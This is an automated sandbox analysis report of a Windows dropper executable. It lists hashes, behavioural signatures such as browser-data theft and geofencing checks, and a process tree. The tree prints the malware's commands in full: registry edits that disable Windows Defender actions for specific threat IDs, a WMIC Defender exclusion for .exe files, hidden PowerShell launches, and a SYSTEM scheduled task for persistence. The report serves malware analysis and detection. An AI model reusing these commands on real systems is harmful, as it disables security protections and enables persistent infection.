Analysis

  • max time kernel
    94s
  • max time network
    100s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-06-2024 07:01

General

  • Target

    7199b4cb06edca7a55ee76e081684eda1de5e6e15879856c86b156cb556d1408.exe

  • Size

    7.3MB

  • MD5

    e19ef09b01b1f21dd291887fc84113ae

  • SHA1

    a9bc994cdacafc0b0672f6920054e893e265ebd7

  • SHA256

    7199b4cb06edca7a55ee76e081684eda1de5e6e15879856c86b156cb556d1408

  • SHA512

    b42ea12123d32cdf698276c1553abc632d866015004ac9e8137f0709e6ae45d8986ac273d4fc924db00e4bd390c48ca6db68767a928d4c70cca8077d6d4da704

  • SSDEEP

    196608:91OH941FA+CAkav0N4hN62U62vU+aOtj9/tCfgQQtngki44S:3OHaFAskY0e62EaYj9/Qatnji44S

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 31 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7199b4cb06edca7a55ee76e081684eda1de5e6e15879856c86b156cb556d1408.exe
    "C:\Users\Admin\AppData\Local\Temp\7199b4cb06edca7a55ee76e081684eda1de5e6e15879856c86b156cb556d1408.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1860
    • C:\Users\Admin\AppData\Local\Temp\7zS2F7C.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4960
      • C:\Users\Admin\AppData\Local\Temp\7zS319F.tmp\Install.exe
        .\Install.exe /GgZMdidCqsx "385134" /S
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:2652
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4412
          • C:\Windows\SysWOW64\forfiles.exe
            forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2408
            • C:\Windows\SysWOW64\cmd.exe
              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:3620
              • \??\c:\windows\SysWOW64\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                7⤵
                  PID:5028
            • C:\Windows\SysWOW64\forfiles.exe
              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4544
              • C:\Windows\SysWOW64\cmd.exe
                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3536
                • \??\c:\windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                  7⤵
                    PID:3492
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4700
                • C:\Windows\SysWOW64\cmd.exe
                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4372
                  • \??\c:\windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                    7⤵
                      PID:2400
                • C:\Windows\SysWOW64\forfiles.exe
                  forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3580
                  • C:\Windows\SysWOW64\cmd.exe
                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5048
                    • \??\c:\windows\SysWOW64\reg.exe
                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                      7⤵
                        PID:2556
                  • C:\Windows\SysWOW64\forfiles.exe
                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:680
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3284
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:3268
                        • C:\Windows\SysWOW64\gpupdate.exe
                          "C:\Windows\system32\gpupdate.exe" /force
                          8⤵
                            PID:4304
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1624
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4368
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                        6⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4924
                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                          7⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2612
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /CREATE /TN "btZaCbGShXZoJDfvCg" /SC once /ST 07:03:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS319F.tmp\Install.exe\" PP /nwqdidUCMO 385134 /S" /V1 /F
                    4⤵
                    • Drops file in Windows directory
                    • Creates scheduled task(s)
                    PID:4484
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn btZaCbGShXZoJDfvCg"
                    4⤵
                      PID:1188
                      • C:\Windows\SysWOW64\cmd.exe
                        /C schtasks /run /I /tn btZaCbGShXZoJDfvCg
                        5⤵
                          PID:4364
                          • \??\c:\windows\SysWOW64\schtasks.exe
                            schtasks /run /I /tn btZaCbGShXZoJDfvCg
                            6⤵
                              PID:3476
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 2652 -s 964
                          4⤵
                          • Program crash
                          PID:3284
                  • C:\Users\Admin\AppData\Local\Temp\7zS319F.tmp\Install.exe
                    C:\Users\Admin\AppData\Local\Temp\7zS319F.tmp\Install.exe PP /nwqdidUCMO 385134 /S
                    1⤵
                    • Executes dropped EXE
                    • Drops desktop.ini file(s)
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    PID:2316
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                      2⤵
                        PID:1000
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                          3⤵
                            PID:3316
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              4⤵
                                PID:3584
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                  5⤵
                                    PID:3308
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                3⤵
                                  PID:624
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                    4⤵
                                      PID:3324
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                        5⤵
                                          PID:1912
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                      3⤵
                                        PID:4200
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                          4⤵
                                            PID:4044
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                              5⤵
                                                PID:2596
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                            3⤵
                                              PID:2252
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                4⤵
                                                  PID:4172
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                    5⤵
                                                      PID:2556
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                  3⤵
                                                    PID:2004
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                      4⤵
                                                        PID:2096
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                          5⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Drops file in System32 directory
                                                          • Modifies data under HKEY_USERS
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1348
                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                            6⤵
                                                              PID:3440
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                      2⤵
                                                      • Drops file in System32 directory
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:3220
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:4064
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                            4⤵
                                                              PID:952
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                              PID:4368
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                              3⤵
                                                                PID:1248
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                  PID:2104
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:3668
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:3528
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                        PID:636
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                        3⤵
                                                                          PID:4388
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                            PID:5044
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                            3⤵
                                                                              PID:1580
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                              3⤵
                                                                                PID:3152
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                3⤵
                                                                                  PID:4628
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                  3⤵
                                                                                    PID:3428
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                    3⤵
                                                                                      PID:3024
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                      3⤵
                                                                                        PID:4076
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                        3⤵
                                                                                          PID:4296
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                          3⤵
                                                                                            PID:2352
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                            3⤵
                                                                                              PID:756
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                              3⤵
                                                                                                PID:1792
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                3⤵
                                                                                                  PID:4120
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                  3⤵
                                                                                                    PID:3288
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                    3⤵
                                                                                                      PID:3244
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                      3⤵
                                                                                                        PID:4652
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                        3⤵
                                                                                                          PID:1592
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                          3⤵
                                                                                                            PID:2408
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                            3⤵
                                                                                                              PID:3212
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                              3⤵
                                                                                                                PID:4676
                                                                                                              • C:\Windows\SysWOW64\reg.exe
